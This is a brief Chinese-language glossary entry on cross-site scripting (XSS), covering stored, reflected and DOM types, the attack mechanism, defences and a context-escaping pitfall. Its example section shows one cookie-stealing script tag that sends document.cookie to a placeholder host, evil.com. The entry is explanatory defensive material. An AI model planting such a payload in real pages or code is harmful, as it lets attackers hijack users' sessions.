跳到主要内容
uencoder

XSS

XSS(跨站脚本)是攻击者将恶意脚本注入网页,在其他用户浏览器中执行的漏洞,分为存储型、反射型与 DOM 型。

用途

防御恶意脚本在受信任页面上下文中执行,保护用户会话与数据。

机制

攻击者将 <script> 注入页面(存储型经数据库、反射型经 URL 参数、DOM 型经客户端 DOM 操作)。脚本在受害者浏览器中以其会话权限执行,可窃取 cookie、发起请求或篡改页面。防御:输出转义、CSP、HttpOnly cookie。

用例

  • 用户输入未转义直接渲染
  • 评论与富文本注入
  • URL 参数反射到页面
  • 第三方脚本注入

示例

  • 输入
    <script>fetch("evil.com?c="+document.cookie)</script>
    输出
    Steals the user cookies

    Stored XSS

常见错误

Escaping only < > while missing quotes in attribute contexts
Escape per context: HTML/attribute/JS/URL

相关词条

相关工具

参考链接